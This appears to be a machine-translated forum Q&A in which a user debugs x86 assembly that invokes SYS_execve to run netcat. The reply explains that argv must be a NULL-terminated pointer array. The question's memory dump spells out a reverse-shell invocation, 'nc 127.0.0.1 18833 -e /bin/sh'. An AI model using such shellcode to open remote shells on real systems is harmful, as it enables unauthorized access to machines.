Linux Sys_execve 不会在汇编中 运行

Linux Sys_execve wont run in assembly

我正在编写一个汇编程序,它需要调用 netcat 并通过 Internet 执行程序。

据我了解,对于 execve 命令,您将 EBX 寄存器指向您想要 运行 末尾有一个空字节以终止的程序。您将 ECX 寄存器指向由空字节分隔的参数,在参数列表的末尾有 2 个空字节。您只需将 EDX 设置为一堆空字节。

在我的命令 int0x80 中执行命令时,我的寄存器如下所示:

Eax : 11 #系统调用
EBX: 0x0783140 #/bin//nc
ECX:0x078314a #args
EDX:0x07831a4 #env

这是 0x0783140 处内存的 ascii 值:

[空字节] = 0x00

/bin//nc[空字节]127.0.0.1[空字节]18833[空字节]-e[空字节]/bin/sh[空字节][空字节]

EBX 指向'/bin//nc'
ECX 指向 '127.0.0.1'
RDX 只是指向一堆空字节

程序将到达 int 0x80 调用,但它会立即 return 并将 0xfffffff2 放入 EAX 寄存器。

任何帮助都会很棒。

编辑:多亏了 ephemient,我现在能够实际 运行 netcat,但不知何故我认为我的 args 没有被程序正确读取。我认为这是因为 netcat 运行s 但立即以退出代码 1 退出并且没有与我的侦听器建立连接。

ecx 现在指向内存中的这个(注意我在地址之间放置了空格以提高可读性,但它们在我的程序中不存在):

0x78315e 0x783168 0x78316e 0x783171 0x00000000

0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]

我已经四次检查地址是否实际指向上面的 akii 值

您得到 errno=EFAULT (0xfffffff2 = -14, 14 = EFAULT),表明您向系统调用传递了错误地址。

SYS_execve 接受 3 个参数,但第二个和第三个是指向 arguments/environment 字符串的以 NULL 结尾的指针数组,而不是单个以 nul 分隔的组件的字符串。将字符串解释为指针数组,意味着字符串的前 4 个字节被解释为第一个字符串的地址,但它不是有效地址,因此 EFAULT。

SYSCALL_DEFINE3(execve,
                const char __user *, filename,
                const char __user *const __user *, argv,
                const char __user *const __user *, envp)